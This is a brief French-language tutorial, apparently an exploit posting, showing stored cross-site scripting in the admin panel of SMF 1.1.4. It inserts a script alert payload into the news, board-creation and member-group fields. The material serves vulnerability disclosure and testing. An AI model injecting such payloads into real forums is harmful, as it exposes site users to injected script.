##############################################################################
XSS smf 1.1.4
Retrouve Xss a l'administration...
1----------------------
http://link/[path]/index.php?action=news
Modifie et renouvelle et insert :
<script>alert('Xss')</script>
enregistre ! pas de alert va etres regenerer dans chaque page !
2---------------------
va la : http://link/[path]/index.php?action=manageboards
cree un nouvrau forum et un nouveau titre:
<script>alert('Xss')</script>
resulta? XSS Clin d'oeil
3---------------------
http://link/[path]/index.php?action=membergroups;
Modifie ou cree un nouveau groupe et nomme le :
<script>alert('Xss')</script>
Clin d'oeil
tuto by xhunter